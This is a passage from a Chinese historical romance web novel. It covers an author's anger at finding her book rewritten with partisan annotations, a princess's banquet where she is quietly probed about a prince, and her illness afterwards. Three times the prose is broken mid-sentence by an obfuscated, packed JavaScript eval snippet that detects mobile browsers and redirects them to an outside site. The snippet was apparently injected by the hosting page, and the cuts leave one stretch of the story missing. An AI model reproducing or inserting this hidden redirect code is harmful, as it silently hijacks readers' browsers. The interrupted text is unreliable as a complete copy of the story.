她笑,“但是都愿意找你要银子了,说明七皇子挺依赖你的。” 梁风闻言瞅着她,瞅了半晌,才默然一叹,道:“用饭去吧。” 饭桌上,金絮问:“那其他皇子与你关系如何?” “一般。反正不是寻常人家那种叔叔与侄儿的关系。” 她随口说:“寻常人家的叔叔与侄儿关系也不一定就很好。” 梁风看了她一眼,沉思一番道:“可是再不好也不至于互相算计。” 金絮无言,不知道说什么。 梁风接着道:“帝王家的叔侄总归不一样。” 她只能附和地点头。 梁风笑笑,持碗盛汤,“用完饭,你陪我出去走走吧。” “好。” 夕阳覆道,行人各自归家,气温凉下来,沿街店铺纷纷收摊关门。 与他相隔半个身位,金絮清闲地一步步踩着自己的影子,聆听百家千户嚷嚷着孩子回家吃饭的呐喊,走得远了才能看见京城烟火气的一面。 “有没有什么想购置的?”梁风问,伸手作势要来牵她。 金絮不动声色地躲开,想起《温柔新语》,便道:“去春研书院吧。” “好。”他跨前一步牵住她手腕。金絮想甩开,甩不开,他反而握得更紧。 “你放开,让人看了不好。” “今日与義已经瞧见你我共处一室了,我们的关系已经说不清了,牵个手又有什么?” 她有些不悦地皱眉,“说得清。你就说我是安分王府的客卿,而且我本来就是。你不许与旁人乱说。” 她拍掉他的手,梁风一哼,扔下她加快步子向前走,将她甩在身后,走了两步又站定转身看着她,“我昨日心情不好,连带着今日也不好。” 金絮仔细看了看他的脸,道:“不好便不好,与我何干?” 梁风一怔,正待说话,十三突然现身,打断了他的动作,向她揖道:“姑娘。” “找到了?”她问。 “是。” 她从怀中拿出一封信,“你把这个给他。” “是。”十三接了信,飞身远去。 “你让十三去做什么?” 她淡淡觑了眼梁风,扭头道:“不告诉你。” 到了春研书院,她举步走进去,书院也准备关门了。 书童招呼了她一声,她在进门的架子上看了看,没发现《温柔新语》。 她愈往里走,所有的书架子都看了一遍,还是没找到。 梁风跟着进来,举目四看,边问她:“你要找什么书?......咦?红叶生?”他随手取下一本书,“这书作者怎么叫太南红叶生?” 她立刻走近一看,却看见书名《风情稿》,而不是《温柔新语》,她不在意道:“重名吧。” 梁风却是认真翻看起来。 她去问了问书童,有没有叫《温柔新语》的书,答复是说没有。 她有些疑惑,转念又释然了,王殊未必真有那么好心。她本身也什么都没付出,王殊又如何会为她做事。 搭乘马车回府,一路金絮都在纠结该怎么把书找回来,注意到梁风将他拿的那本书买下了,直到下车还在看。 她不免有些好奇,“这是什么书?” 进屋小缃奉上温茶,她接过一口气喝了。 他没答话,将书亮给她看,“这是你写的?”不等她说话,又自答道:“肯定是你,你喜欢这样写。我就说,红叶生怎么会有人重名?” 她纳闷道:“不是我啊。”接过来翻开掠看,这一看,脸上的表情瞬间就没了。 “怎么了?是你写的吧?”梁风问道。 “是不是你?” “难道不是你吗?” “阿絮?” “啊?”她猛地回过神,呆愣地抬头看他。 “你怎么了?” “啊我,我没事啊。”她又低头翻书,“这个是我写的。” 拇指厚的书在她手中犹如疾风吹过,混合两种字迹的页面唰唰飞过眼底。她睁大眼睛看着,一眨不眨。 忽然耳鬓有热度传来,她再度惊醒,下意识抬头,猝不及防撞入他眼里,梁风收回手,俯视她的目光充满担忧和深意。 “怎么了?” 轻柔的声音融透她的耳朵,百转千回地深入。金絮偏头侧躲,“我没事啊,先回房了。”最后索性跨步离开,指尖紧捏的书被风吹得翘起数页。 锁住门,她点满卧房的蜡烛,坐在灯下,将《风情稿》一字一字看完了。 看完一遍,她又看了一遍又一遍。 红润的烛泪越堆越厚,她双眼肿胀越看越涩。 整本书被改得面目全非。 《温柔新语》分五篇,以温柔馆中各名女子为核心,夹以来客言谈和起居馆阁为辅。虽然是写娼.妓的书,但全书没有一个字提到男女欢情,每纸每页干干净净。 而这本《风情稿》,每一篇中每一小节的开头、中间和结尾都被注者批以“淫奔之语”,直接增删她所写的内容,原书被大幅度缩减,记述核心由女子改成了各名男客,甚而在每篇末直言附以注者议论,夸赞此节男主的优秀言谈。 而且,这些被夸的男客无一不是世家权贵与朝堂权臣;被贬低的男客无一不是在朝中已然失势或成为众矢之的的人,其中还有梁风。 所谓夸赞与贬毁不过是作注者借以表明自己党派立场的工具。 原本她自认每节故事写得含蓄婉转,遭这大笔一改,作注者露骨的赞颂反而令这本书真正变成了“淫奔之语”。 即便表皮换了个样,但她仍是可以肯定《风情稿》就是《温柔新语》,没有被修改的部分与原书一模一样。 她翻到扉页,太南红叶生的署名下多了一个名字,郑熹丘增注。 如雷贯耳的大名。一个现今无人可撼动其儒学地位的八十多岁老人,门下弟子无数,曾任过两代帝师。她没记错的话,这人还曾是梁风的夫子。就连她父亲,也曾在这人手下做过事。 八十多岁了不安居养老却还要与那些年轻几十岁的人争朝廷地位? 她辛苦写著的书就变成了这样? 既然如此看不上这“淫奔之语”,又为何要借此书来表明自己的立场,这注者是想借此暗讽朝堂的党派斗争就是如此的暴露与淫奔?这些人所谓的勾心斗角又何尝不是另一种男欢男爱? 金絮一时气愤,扯过毛笔一把掰断,翻出一个铜盆,置于院中空地,将她所有的纸稿连带此书和断笔一同扔进盆中,柴火一点,燃个烬。 盆中烈火艳艳,她死死盯着火焰那透橙的芯光,直到眼睛凝出了涩膜,一眨眼还感到了刺痛。 待燃尽,她再不看那余灰,毫不犹豫转身回了屋。 心中犹有怨恨,她看着书架上零零散散的书生闷气,想把桌上一切拂倒在地,想听瓷器破碎的声音,但深呼吸几口气,还是什么都没做。 无奈地叹出余愤,听见铜盆细微的碰响,一转眼,便看见了梁风。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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又是一道脆响,好像皇帝死了。 她一口气扔了几个,扔到后面,粉碎的瓷片也裂在了她耳朵里,撕回她的理智。那面墙并不是皇帝。 “是不是好多了?”梁风问道。 金絮呼出口气,看向剩余的花瓶,道:“不扔了。” 总共也就摔了五六件,她还没傻到为了泄愤真把御赐的东西全砸了,若有心人怪罪下来,还得梁风为她顶罪。 “还生气吗?” 梁风执她的手,细细揉捏。他的掌心暖得很。 “不气了。”金絮抽回手,看了看一地碎片,“这些东西值多少钱啊?” “应该挺贵的,但存得多了,也就跟石头差不多。”梁风再次牵她,带她离开屋子,李晟随后命人打扫。 金絮后知后觉泛起内疚,刚才随便一个瓶子都比她买的血如意还贵,暗自懊恼下次再不许冲动了。 “扔便扔了,别多想,你不气了才是要紧。”梁风安慰她,“而且老李知道分寸,这些都不是特别贵重的,贵重的都收着呢。” “是,姑娘。”老李揖道:“要紧的御赐之物都收在王爷的书房中。” 她想起来了,的确书房里的东西会更昂贵,且都是弄丢了就会有人揪着当作把柄而参他一本的东西。 “回房睡觉吧。”梁风带她回屋,双眼始终看着她,“心情是不是好点了?我希望你能放松些,而不是给你增加负担。” 她呐呐道:“我砸得挺开心的。” 任他牵着,心底一放松,她慢慢觉得困了,脚步虚浮,眼前逐渐模糊。 “我抱你回去。” 身子一轻,脸颊贴上一个怀抱。她话未说出口,一口气松下,彻底睡着了。 57. 宴与名媛(一) 如此到了九月,距离中秋尚有二十来日。 梁风在上月底的时候就抓住了那个盗贼,并且园林案的后续安抚工作也已完毕,房屋开始动工,皇帝赏了他些金银珠宝,随意夸了两句便罢。 他近期无事可干,却也没有空闲下来。 皇帝仍惦记着他娶妻的事情,常遣人询问或召他进宫,询问某个女子是否中意,他虽不耐,但也敷衍应对。 金絮偶尔和十三出门闲逛,偶尔听梁风发牢骚,偶尔闭门不出,整日无所事事。 前几日林童忆托十三给她寄了信件,说希望能见她一面,她不想见,推辞了。 这两天倒是很少出门,因为七皇子来梁风府中的次数多了起来。 梁与義不光来找梁风,有一次还来看了她。 天气炎热,她贪凉在陈心亭抚琴,远远见七皇子面带盛笑朝她走来。 “你就是皇叔府里的客卿?” 金絮起身福礼,“是,参见七皇子殿下。” “你是哪里人?叫什么名字?为什么会做皇叔的客卿?” 她不紧不慢道:“殿下可以唤我慕红。我与王爷只是游玩路上偶然相识。”她说了《红叶书》上的名字。 “原来如此。” 金絮缓缓抬头看七皇子,梁与義眉目俊朗,比从前这个年纪的梁风还多了几分率性。 “真少见,你敢与我对视。”皇子眼中的好奇闪闪发光。 金絮浅浅一笑,垂下视线,并不多言。 梁与義走到她原先抚琴的位置掀袍坐下,姿态舒朗,“是这样,皇姐办了场初秋小宴,定在五日后,我想邀皇叔参宴,可他似乎不太愿意,你帮我劝劝他。” 宴会? 七皇子接着道:“当然,我也邀请你参宴。皇叔的客卿,定不同凡响。” 皇子示意,下人即刻奉上两份帖子,递予她。 她这下愣住了,一时不知作何反应。梁与義说完便不再理会她,独自抚起琴来。 他的指法极为漂亮,弹指拨弄间袅袅琴音倾泻而出,环绕周身久久不去。 金絮看着宴帖,心思随着琴音百转千回,烫金帖封似是向她展示着她已离之多年不曾回顾的显贵豪门,那金漆背后是对她来讲早已融入血海与深仇的歌舞升平。 曲罢,七皇子收指,赞道:“好琴。” 她收下宴帖,福身欲说话,一只手从她身后伸出,握住了她拿帖的手,并阻了她福身的动作。 “你想去么?” 梁风在她耳边低声问。她没有即刻做出回答,只垂眸,沉静注视着指缝的宴帖。 “皇叔,慕红姑娘已经收下帖子了。”七皇子笑站起来,“我们这便算言定了,五日后皇姐等你,我走了。” 说罢,梁与義随着李管家离开陈心亭。梁风这次没有送七皇子。 他没动,金絮也没动,能感觉到他的目光一直放在她身上,平静却带一点审视。 不想再被他这样看着,金絮将手滑出他的掌心,顺势把帖子留在他指间,直视他问:“你不想去吗?” 梁风牵她坐下,给她端近瓜果,边道:“若在平日,我一向都会参宴,但这次,我主要顾虑的人是你。” “我怎么了?” 梁风认真地凝视她,“阿絮,你要知道,自从母亲去世,你是我府里这几年唯一久住的女子。” 金絮脸上表情终于动了动,“我也没住多久......” “可是,皇兄一直操心我娶妻的事。” “所以他们误会我们的关系了?” 他没说话,似是默认。 “你没说什么?” “我有解释过,但皇兄一向不理会我的话,他只相信他自己看到的。” 金絮无言,低头动作僵硬迟滞地一颗一颗拔着葡萄,“中秋过后,我就尽快离开。” 他皱眉,有些急道:“你着急走做什么?我......” 梁风声音沉默下去,金絮没什么反应问:“你希望我去吗?” 他嘴唇嗡动,又止住,像是将下意识想说的话咽了回去,想了想才道:“我既希望你去,又不希望你去。” 她不说话,一颗颗往嘴里塞葡萄,等着他下文。 “我担心他们有人从前见过你,认出你来,你的身份可能暴露。但是我......” 他不说了,金絮听得出他是刻意留下一半不讲,等着她读出他眼中的深意,但她看也不看,默默吃葡萄。 “我私心希望你去。”他说完话锋立刻一转,“不过你不用理会我的意愿,你尽管凭心而行,想去我便陪你去,不想去我便也不去。” “我想去啊。”她将指尖的葡萄粒一甩,仅悬在碟子上空半指高的葡萄轻微地跌进盘中,轻微到根本察觉不出她这动作是甩的,“刚才接过这帖子我便是想去的。我戴着面纱,把脸遮了,他们认不出来。” “那便去吗?”梁风前倾仔细地探到她正面,似是想与她对视,“我会与他们说清楚,你只是我府里的客卿。” “嗯。”她淡淡一应,继续吃葡萄。 一碟快吃完了,梁风又给她端来一碟。 金絮专心地吃着,一粒粒半截小指长的葡萄像是直接流入喉咙一般,她好像也不是想吃,只是想在梁风此刻的注视下找点事情转移自己的注意力。 “你是不想去吗?” 她犹如被什么突然撞击到般回了神,愕然看向梁风,他眼神穿透又带一点探究。 她摇摇头,“想去啊。” “想看看现在京城的世家子女是什么样子。这种宴会在京城没参加过,还以为这辈子都没机会见识了。” 梁风缓缓收回了手,道:“那便去吧,我给你准备衣裳。” “嗯。” 之后金絮便愈发不出门了,在府里窝了四天。 直到赴宴前一日,梁风送来了一批衣裳首饰供她挑选,她随意看了看颜色与纹样便选了件红蓝相交的衣裳道:“就这套吧。” “不试试?” “不了。你选的肯定好看。” 她在榻边坐下,梁风挥手示意,丫鬟便退下了。 “阿絮,你是不是不想去?” 她姿势未变,“为什么这么说?” “你看起来并不高兴。”梁风挨着她同坐。 “我挺想去的。” 梁风将她的手放在掌心揉搓,微垂眼眸看着她,她也抬着头,任他看,两道平和的视线相触没有激起丝毫波澜。 “也罢,你想去便去吧。”他起身步出,“我回屋了,你早些睡。” 她没说话,静坐着。待他走后,她低头看着自己的手掌。他搓了一会儿并没能将她的手暖起来,热了表皮一层,很快又冷了。 到了赴宴这日,她换好衣着,簪三四支梁风给她备的小巧精致的发钗,再以白纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839792|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆面,便随着他一同乘坐马车前往五公主的宴会。 宴会地点就在公主府,与王府只隔了两条街,刚乘上马车绕了两个弯便到。 公主府门前已停了许多辆奢豪的马车,街路几乎被堵塞,走走停停好歹抵达门前。梁风扶她下车,她打量着宏伟阔气的公主府大门,说不清是什么感受。 小厮递上宴帖,梁风牵她进入。 说是初秋小宴,来的人却不少。 门外便听得人声互礼,一入户便见各色雍容华贵之人三三两两聚集,人人脸上谦和堆笑,人多却不吵闹。翡翠金钗在太阳下熠熠生辉,简直让她眼前一炫,险些被这满眼珠光宝气撞得后撤一步。 她已久惯清净,这一瞬间好像由隐世深林步入了喧嚣红尘,落差之大令她措手不及。 “怎么了?”梁风微微侧身俯首问。 “没事,只是好多人我都不认得。”金絮眨了眨眼缓道。 “无妨,我告诉你。” 他牵着她四处走动,每遇着一人便与她仔细介绍这人的家世背景与父亲是和官职,她囫囵吞枣地且听且记,到最后也没记住几个。 “那位是御史大夫的长子。” “那位是相府司值。” “那位是泰安侯世子。” “那位是......” 梁风不住地与她介绍。这些人模样长得都相当不错,只是一时间看的多了她便分不太清,所见人人锦衣华服,环佩叮当,部分女子盛亮的妆容模糊了五官特色,看起来区别不大。 她没忍住,低声与梁风道:“现在的世家子女喜欢做这种打扮么?” 他浅浅地笑了笑,“一直以来都是如此,赴宴自是要盛装打扮,才不负主人招待。” 她摸摸自己的发髻,“那我是不是显得不够重视得体?” 梁风环顾地打量她,还是慢慢点头,“是有一点。” 金絮皱眉,“我会不会给你丢脸了?” 他无谓一笑,“不会,你不需要那些。” 这不是说需不需要,方才见到的男子中有几名是从前在温柔馆见过的,她虽覆着面纱,也不知认出她没。她不想再站他旁边了,便道:“我四处走走。”四下里一看,准备往女眷多的地方去。 梁风示意随行的小缃跟着她。金絮绕至后院,女眷基本都聚集在此处,几个做一堆,丫鬟比主子还多,轻声细语的交谈声和压低的娇笑随意可闻。等见不到男子了,想到待会还要用膳,金絮便将面纱取下,也不想用这层薄纱装作神秘。 她站在能一览院中景色的廊下,身后小缃告诉她这些小姐们都是何人,她边听边记,脑中根据这些世家小姐扎堆的情况判断现今几大家族的关系。其间聚了五六个人的一堆,为首的是正泰安侯府的嫡女林婉。 她多看了林婉一眼,记住了样貌,那林婉也注意到她,随即林婉身边的几名女子都注意到了她。 金絮不动声色,微微作一笑,款款福礼。 林婉一行人远远打量她,悄悄议论,金絮心知自己在这群人眼里面生,她还是站着任旁人打量,慢慢地,没察觉有人认出她来。 也是,她从前一直住在太南,京城里又有几人认得她。 梁风的担心是多余的。 她心底不知是自嘲还是放松抑或是无奈地笑了笑。 况且这些人年纪尚轻,即便有人见过她,那也是几年前的事了,谁又能记得? 58. 宴与名媛(二) 许多年未出入这种场合,她身上又是安分王府的名号,金絮不免担心自己举止会失分寸,犹豫要不要上前与林婉打声招呼。 这么想着,林婉却走了来。 “这位姐姐,从前不曾瞧见过你,不知你父亲是何人?” 林婉声音如其名,配合脸上恰到好处的笑,亲切顿生。 金絮笑容不变道:“我是安分王府客卿,初次入京,林姑娘唤我慕红便好。” “慕红姑娘就是安分王的客卿?”林婉面露诧异,“我早有听闻过你,没想到你竟会参宴?” 她仍不动声色道:“我平日极少出门,在屋里关得久了还是想出来活动活动。” 这时院子另一侧堆聚的人群传出小小的欢呼,她和林婉不约而同看过去,那群人似乎是在玩什么游戏。 “她们在投壶。”林婉告诉她,“我们也去看看吧。” 金絮便走近凑了凑热闹。 人群面前的空地孤零零立着个窄口铜壶,壶里只竖着一支箭。周围的人正簇拥着一名十五六岁的女子,拍掌庆贺这名女子方才投中了壶。 “不愧是游姑娘,这投壶一技于你已是炉火纯青了。”旁边有姑娘夸奖道。 游姑娘害羞地低眉一笑,“投了许久才投中一支,怎可说得上是炉火纯青。” 金絮看了一眼那被围拥的女子,不知是何人。铜壶四周躺着数支投空的箭,下人忙着一支支捡起来,也不知这几个人是投了多少次才投中了这一支。 “那是丞相孙女,游琪。”小缃在她身后悄悄道。 金絮闻言,看着铜壶并未作声,呆呆地听着这些女子之间互相吹捧,还在夸赞游琪的投壶之技。她想跟着一起笑却笑不出来,只有那游姑娘偶尔一句话被数道声音围着捧入她耳中。 热闹之际,公主府下人进院朗声道:“五公主已到,开宴。” 院内所有女眷悉数入席,金絮环视一圈,私宴的席位没有讲究排位,五公主坐上首,谁跟五公主要好谁就贴着坐,但实际上也只有排位高的人才会跟五公主要好。她便走到席位末尾。 等了片刻,五公主由帷后款款步出,发间一尺长的步摇控得丝毫不晃。 众女眷起身行礼,金絮跟着一起。五公主梁与曦道声免礼后自行坐下,众人再一同落座。 梁与曦寒暄几句便开席。长桌中心是一道玉石砌成的水渠,仆从拨弄了某处机关,渠壁几处小口流出清水,很快渠便灌满八分,下人再将菜品由木托乘着浮于水上,晃晃悠悠地环绕长桌。 气氛放松开来,大家纷纷举箸,筷碟磕碰轻触,细碎的声响弥漫在女子唇舌间。 金絮默默看着席上众位女子的神情,这些大多十几岁的女孩子十分烂漫,脸上全是心里想的,夸赞与吹捧直截地表露无遗。 方才在前院她便已经发现,这场小宴说是五公主举办,却来了太多的男子,且朝廷大官基本都来了,连同他们的子女,于是才男女分席。 为何要打着五公主的名义? 这场宴会似乎不简单。不知梁风那边现在正发生着什么。她本能觉得不寻常,只是看不出这宴背后有何机关。 她心不在焉地吃饭,周围女子或是互相夸赞着对方的服饰,或是交流读诗心得,所谈无外这两样。 公主府的饮食与王爷府里的差不多,精致,味道好,却量少,她夹一筷子便不能再吃了,得给别人留点。 “不知那位姑娘是何人?以前不曾见过。” 五公主突然道,轻飘飘一句话却在开口瞬间压过其余人的低语,传满席间。 她刚夹起一根不知是何物的金色丝状肉食,余光便注意到周遭人都朝她看过来,她愣了愣,放下筷子,起身行礼,报上名号。 梁与曦眼睛一亮,“原来你就是皇叔的客卿,前几日听皇叔提起过你。来,坐这来。” 五公主招呼她坐至身旁,金絮稍一犹豫,还是去了。总不能丢梁风面子。 “本宫一直好奇呢,皇叔为何会请你入府做客卿?” 她甫一落座,五公主便十分不拘束地与她攀谈,笑容恰到好处,仿佛希望人见之便感亲切。 她也标准地笑着,将早就准备好的说辞讲出:“回公主,前几月王爷下太南时曾购置一府邸,找匠人修缮后尚缺一扇屏风,而我所藏正好有一扇青山流水屏,便赠予了王爷。后来王爷得知我从未来过京城,便唤我同行。最近这几日我在王爷府中,只是暂住。” 她话语掠取许多细节,公主未必会信,她也无甚所谓,重要的只是告诉她们,她和梁风没什么太大关系。至于她们心中会如何八卦猜测,就随她们去了。 “原来如此,那扇青山流水屏能得皇叔青眼,到真是让本宫也想见识一番了。” 公主温婉道。金絮应承地笑一笑。 众人再次开始各聊各话。 金絮仍是专心吃饭,靠近五公主的菜品要丰盛许多。 “游姑娘,近日春研书院进了本新书,名《风情稿》,不知你有无听过?”一名姑娘趁席间寂静之际开口。 金絮伸出的筷尖一顿,缓缓收了回来,下意识看了眼五公主,见其仿佛未闻,再凝神细听着。 游琪疑惑道:“不曾听说过,那是何书?” 那姑娘摆摆手道:“你不知道便罢了,那也不是何好书,只是那书遭我老师批评过,因此我才知晓,还曾奇怪怎会有人写这种书。” 游琪被勾起了好奇心,“那到底是什么书?赵夫子竟批评过?” 五公主没说话。 金絮却听出来,原来《风情稿》作注者不止郑熹丘,还有个赵夫子,那估计不止这两人,可能还有更多人。 “听这名字便能猜得几分,是写那风月之地的,简直不堪入目。赵夫子批过后方才可堪一阅。” 游琪身子微微往后仰,拿帕捂嘴,“怎有人写这种......” 五公主仍旧没说什么。 那姑娘又道:“对了,我记得这书的作者是太南人,不知慕红姑娘有无听说过?” 五公主看了过来。 金絮如鲠在喉,数道目光如一根根针刺穿席上的吹捧,她将嘴角努力咧到耳根,道:“我不知道。” “想必此书作者并不出名,却未料到反靠写这样一本书出了名。”公主道。 “是是是。这作者定在后悔,好不容易出了名,却出了个污名。”那姑娘笑道。 金絮也跟着一起笑。 “不过,慕红姑娘,”梁与曦说:“本宫记得,那书中有一则所写是安分王,颇为有趣。” 五公主边说边看向她,说完视线仍放在她身上,嘴角含蓄微笑着。 隐约还有后半句话没说,金絮不明所以,却被盯得突生警惕,察觉五公主眼神异常,可梁与曦面上仍然微笑,不露丝毫。她心中一紧,隐隐意识到了这场宴会的真正目的。 周围女子未料方才众人还一同讽笑的书竟被五公主看过,气氛瞬时静下来。 《温柔新语》里有关梁风的记录大概五、六则,每一则都被郑熹丘删改批注过,其中一条批注让她印象深刻,写的是“安分王言谈畅达,望女时,所眸甚大。” 她初时没看懂,前面说他言谈畅达,为什么后面又说他眼睛很大。她仔细想了一会儿才想明白,“眸”是“谋”的意思,是说他言谈间所谋甚大。 一个公主,竟要在宴会上试探这些。 金絮看着公主,手中筷子搅动菜品,五公主被她筷尖引去注意,她道:“我不曾看过那书,原来那书竟写过王爷吗?” 梁与曦视线复看过来,笑道:“本宫也只是听旁人说起过。”转而向旁人道:“接着用膳吧。” 周围气氛顿松。金絮也收回视线,继续吃饭,虽然五公主问这话的时机不对,但她的第一反应也不够稳妥。 那姑娘还要继续说:“不过,我听赵夫子说,那书里有几句诗写得不错。” 游琪立刻接问:“怎样写得不错了?你念一句听听。” “要我说啊,赵夫子也有看走眼的时候,我看了便觉得一般,看过便忘了。”那姑娘看向五公主道:“夫子还说,那书里几句诗与公主殿下所作比起来却还是差得远了。” 五公主一笑。 游琪道:“可不是,公主殿下写的诗哪人看了不是夸好的?” 席上一片附和之声。 五公主笑得更开心了。众人笑得也愈发开心了。十几名姑娘照顾礼仪而捂帕遮嘴的笑声却巨大得快要吼聋她的耳朵。 金絮感觉自己脸上的笑与周围人一模一样,她慢慢融入了人群之中。 她的脸很快就僵了,笑不动了,可是周围人还在笑,她也只能继续僵着,好像头顶两侧站着两个拇指大的小人,拿着鱼钩,勾住她的嘴角,拼命向上拉扯,帮她笑。 不知笑到了何时,公主止了笑,招呼大家接着用膳。 她含笑举筷吃肉,只是不知这肉怎会嫩得如此硬,险令她牙咬碎。 她感觉肚子有点痛,便默不作声退了席。 院中凉风一吹,稍稍透过来气,她深深地呼吸,脑子里微微发热。 金絮吹着风站了站,看到孤零零放在空地被人遗忘的铜壶,便走过去,取了几只箭,到离铜壶数步远的位置,将箭扔出,利箭穿心入壶。 她再瞅准壶肚子镶嵌的一块指甲盖大的红心,把那红心看做自己方才的笑脸,再扔出,箭支正中红心,并将壶击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839793|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒。 心里痛快了些,她准备回席,忽然听到一声轻唤: “慕红姑娘?” 她扭头一看,是个小姑娘,年纪应当刚及笈,刚才席上好像见过。 小姑娘走近福身道:“我是御史大夫之孙,名谢韵。” 她也福身,“谢姑娘。” 谢韵微微一笑,声音俏俏的,“方才在席间听说,慕红姑娘是安分王府客卿?” “是。” 谢韵用只容两人听到的声音问:“那......那你可有见过安分王殿下?” 金絮颔首,“见过的。” 谢韵闻言更走近了些,小脸有抹淡红,踌躇道:“王爷他,他是个怎样的人啊?” 金絮面露不解,没看明白谢韵这副神情的意思,正欲开口问,突然间脑中灵光一闪,想起之前听梁风说过,皇帝想让他娶的王妃就是御史大夫的孙女,就是眼前这人。 原来脸红是因为这个,金絮浅浅笑了笑。 “王爷他啊......” 她拟腹稿该如何夸他,措辞一番道:“王爷自是资貌非凡,英明神武,骁勇善战。” 谢韵似是听多了这些夸奖,全然无谓,压低了声音道:“可是,我听说,王爷爱去那些......那些地方......” “哪些地方?”她下意识反问。 谢韵睁着溜圆水润的眼珠,轻咬嘴唇,像是微恼她的不理解,脸颊更红了,刻意读重个别字眼,“就是......那种地方。” 她反应过来,谢韵说的是青楼。 金絮一时不知道该怎么讲,梁风从前确实很常去温柔馆。 可是,若说他在青楼住过那么多次,却从未真的找过姑娘,这种话出来也不知道旁人会怎么想他。她只好道:“王爷确实喜去那种地方,不过那都是从前了,最近这一年他不曾去过,况且......” “况且,那种地方,清洁自守的人也有许多,王爷未必就......就.....”她说到这后知后觉发现自己身为一女子对这方面说得太多了,于是收口道:“我与你讲的这些都是虚的,王爷为人究竟如何你需自己去看。” 谢韵眨巴大眼睛,若有所思点点头。 小姑娘似是没把她往那方面去想,她只觉心绪极为复杂。 从前温柔馆里除了梁风,林童忆也从未与姑娘过夜。青楼里也能有清洁自守的人。她想说,这类男子不少,更想说,这类女子也不少。 谢韵思索片刻,懊恼地叹气,“我本就不想嫁给王爷,王爷若是个好人,早便娶妻了,怎会独身至今,何况他行事还如此......” 谢韵话容一丝余地,沮丧地一跺脚,转身走了。 金絮留在原地吹着初秋冷风。 她抹了把脸上的阳光,感觉肚子越来越痛。 身后传来脚步声,她怕是又来了人,懒得敷衍,便想走开,听得一句:“阿絮。” 她收回迈开的步子,回头见正是梁风。 他眉目间似有严肃,看见她的一刻烟消云散,转而复皱起,“你怎么了?” 金絮摇摇头,“没事。” 梁风道:“我好不容易脱身,特来找你,玩好了吗?要不要回去了?” “回去吧。” 他吩咐小缃返席告知五公主一声,金絮便尾随他身后离开公主府。 踏上马车,车里闷热的气味令她头一晕,梁风扶她坐下,车子平稳前行。 梁风捏捏她的手,“你怎么了?脸色不太好。怪我,我来前也不知道原来这场宴是丞相联合与曦一起办的,你在那边见到了游琪吧?” 她说不出话,感觉肚子绞痛。 “怎么了?”梁风看出不对来。 金絮皱眉忍了忍,想说话,胃中翻滚起来,她抓住梁风的衣袖,“停车。” 梁风立刻喊停,她迅速下车,来不及等小厮摆凳,直接跳下车舆,结果这一跳,引得胃部痉挛,她难以控制地俯身吐了出来。 黄黄红红绿绿滩成一片,滩边汁水菊花般炸开,不过片刻前才吃下的山珍海味于胃里滚了一遭再吐出便无比恶臭,好像是泔水从她身体里面倒出来。 “阿絮?” 梁风扶着她一臂,手掌轻轻拍她后背,金絮嫌脏,推他离远点,可他不动。 她吐了两次便吐完了,胃里难受又恶心,小厮拿来随车携带的水囊,她漱净口,双腿虚软得站不住,梁风抱起她,走向不远处的王府。 她拽着他的肩衣,手指无力地颤抖。 “对不起啊,我......我把红叶生毁了。” 金絮在他怀中喃喃。 “可我不想这样的......” 59. 延宕的金絮 梁风抱她进了竹苑,唤来李婶。 她按着肚子,一语不发地看着地面,几个人说了什么她也听不清,耳边似乎还围绕着宴席上的笑声,游琪的笑脸在她脑中挥之不去、不召即来,她越想越觉躁郁。 李婶为她把了脉,低声与梁风说了几句,接着耳边一静,人似乎都出去了。梁风在她脚边蹲身,金絮视线中出现梁风的脸。 他捋平她额角发丝,指背小小划一下她的下颌,再收指,金絮难以忽视他关切的眼神。 她也抬手,拇指轻点一下梁风眼角,道:“你这眼睛,是挺大的。” 他微诧,很快了然,捉她的手掌贴住自己脸颊。金絮僵着不动,掌心却越来越热。 “五公主都试探到我这里来了,最近朝堂上有人弹劾你?” 梁风轻捏她的手背,“还没有,但是《风情稿》我也看了,知道他们意思。” 金絮一动不动,静静回盯,“会怎么样?皇帝知道了吗?他什么态度?” 梁风放下她的手,松松握住,“我不知道皇兄知不知道,但你放心,他们没有证据。” 那些人想给别人安个罪名还需要证据?金絮想嘲讽,但是没有说。 “你小心些。”她只道。 “嗯。”他笑一笑,问:“在宴席上是不是遇到不开心的事了?” 梁风五指扣住她的五指,金絮默然移开视线。 “是不是因为遇见了游琪?” “不是,你也别担心了。她们只是做她们应该做的事情。” 梁风皱了眉,抽身欲离去,金絮反抓住他的手,“你别去问小缃。” 他又蹲回来,柔声道:“好,我不问,只是你可以告诉我你为什么心情不好。” 肚子里的恶心降下去,她松开绷紧的身体,“也不是不好,只是觉得有点可惜,往后我不再写那种书了。” “她们说那书不好吗?”梁风倾身贴近了些,“我看了,写得很好,只是那些迂腐的老头不喜欢,不如我跟郑夫子澄清一下?” “不要。”她抿唇一顿,“你的名声已经很不好了。” “傻瓜,这又不是坏名声的事情。”他笑,食指点了下她的额心,“我是气你将纸稿都烧了,不许我看,真是小气。” 她摸摸额头,也不顺着他,“反正我往后是不写了。那样的书写成,凭白给人做了手里的刀。” 梁风顺从道:“好好,不写便不写了。不要难过了好不好,你刚才的模样让我很担心。” 金絮点头。 